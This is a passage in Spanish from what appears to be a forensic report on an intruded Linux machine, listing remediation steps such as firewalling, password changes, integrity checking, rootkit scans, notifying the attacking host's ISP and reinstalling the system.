firewall (iptables) del kernel de Linux. Permitirá tener un control exhaustivo sobre quien puede conectarse a qué servicio en la máquina. Tampoco sería mala idea el montaje de un firewall que trabajase a nivel de aplicación y no solo como firewall de paquetes. Se deberían cambiar las contraseñas del usuario root y Contador, así como de todos los usuarios que han usado la maquina para conectarse a otras maquinas. Aunque no hay constancia de la instalación de ningún sniffer (el que viene con Suckit fallo), sería también una buena política cambiar las contraseñas de las maquinas de la misma LAN. Sería muy recomendable instalar un sistema de verificación de integridad, tipo tripwire, que verifique si ha habido alteraciones en los ficheros importantes del sistema. Visto el impacto que han tenido los virus en esta intrusión, no estaría de más introducir en la rutina de comprobaciones el pasar un antivirus para Linux de vez en cuando. De igual manera, también se puede programar en el crontab que el rkhunter o el chkrootkit corran de vez en cuando y nos notifiquen si detectan algo. Para limitar en la medida de lo posible la actuación de los atacantes, deberíamos notificar lo antes posible a los administradores de la maquina en el ISP Altaway Technologies, Reno, Nevada, EEUU desde la que nos atacaron, puesto que con toda seguridad debe estar comprometida. Así, el administrador de dicho servidor, recobrará el control sobre su equipo y el intruso habrá perdido una maquina bajo su control. No recomendamos limpiar la maquina sino su total reinstalación previo formateo, puesto que podría quedar algo que se nos haya pasado por alto que facilitara a los atacantes el acceso de nuevo. La maquina no parecía tener datos de interés, pero siempre es conveniente tener un backup reciente de los datos personales. En caso de que las anteriores medidas no hayan sido suficientes, reinstalaremos el S.O. y restauraremos del backup los datos. 43